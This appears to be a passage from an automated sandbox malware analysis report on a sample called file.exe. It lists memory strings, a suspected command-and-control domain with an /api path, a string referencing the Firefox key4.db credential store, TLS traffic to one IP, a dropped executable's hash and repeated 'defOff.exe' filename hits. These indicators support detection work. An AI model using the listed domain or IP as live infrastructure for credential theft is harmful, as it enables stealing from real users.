Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: file.exe, file.exe, 00000001.00000003.1899337347.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1694195380.0000000005308000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899354200.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1693235163.0000000005308000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1691915283.0000000005303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000001.00000003.1708713954.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/$$
Source: file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/)
Source: file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/9
Source: file.exe, 00000001.00000003.1692025387.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I
Source: file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708713954.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1677263235.00000000052F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000001.00000003.1675974639.00000000052F6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1676204583.00000000052F7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1677263235.00000000052F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api4
Source: file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiN
Source: file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apit
Source: file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/q
Source: file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apil
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49976 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name:
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0076185B	1_3_0076185B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007660B1	1_3_007660B1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007B35B2	1_3_007B35B2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073D875	1_3_0073D875
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073B804	1_3_0073B804
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0073E7BC	1_3_0073E7BC
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E12000	6_2_00E12000
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9DD0F	6_2_00C9DD0F

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe B43D6D2B26EE6CCF34479155C35467EED58B4085D7269C0560D2E260C6D7611F

Source: file.exe, 00000001.00000003.2026608309.00000000007D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009579153.00000000005D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010113250.00000000005D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1999732459.00000000007DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2025022365.0000000005710000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2015657682.00000000007E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2017956920.00000000008EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2007808912.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2018375179.00000000008F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002624618.00000000005DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010698201.00000000005DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2026253072.0000000005704000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2027234133.0000000005705000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2017008796.00000000008ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023566159.0000000005710000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2004501452.00000000007D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2000106363.00000000007D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009465723.00000000007D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002073704.00000000005DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002523672.00000000007DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2021664505.0000000000903000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2018240570.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2004661107.00000000005D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010256448.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2025832710.0000000005711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2001666901.00000000005D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1998550262.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2017609933.0000000005709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002203186.00000000007D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002843287.00000000005D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2001755906.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2021167893.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2001850505.00000000005D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023036919.0000000005707000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2019856776.00000000007D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2000016766.00000000005D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2012820670.00000000005D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2016380551.0000000005711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2027419447.00000000007DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008877074.00000000007D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1998950197.00000000005DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2011578846.00000000005DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003310718.00000000007DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008023702.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2025619764.00000000007E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2001958309.00000000007D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003433285.00000000005D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2024483789.00000000007DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2018081394.0000000005708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2022107131.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023356862.000000000091A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008318756.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2026846771.000000000570E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2020214834.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2015860972.00000000008E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008584881.00000000007DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2024656666.000000000570D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008989413.00000000005D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023704437.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2027027211.00000000007E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003539326.00000000007D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2020422136.00000000008F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2020580031.0000000005704000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2014892203.00000000007DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2007898829.00000000005DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1999929288.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2012033722.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2013593327.00000000007DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009704657.00000000007D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2016778410.00000000007DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2011746565.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2012377982.00000000007DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2019996963.0000000000901000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010404015.00000000005E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2026070443.00000000007D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2007706133.00000000005D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2018770777.0000000000901000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009263885.00000000005D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2024287355.0000000005704000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008748087.00000000005DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2022340972.000000000090D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023196831.00000000007E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2021809778.00000000007D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009837679.00000000005DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2005383911.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2004854714.0000000005376000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003644140.00000000005DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2006672883.00000000005D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2005061787.0000000005322000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2015290481.00000000008F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2014256319.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009110572.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2014498831.00000000008F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
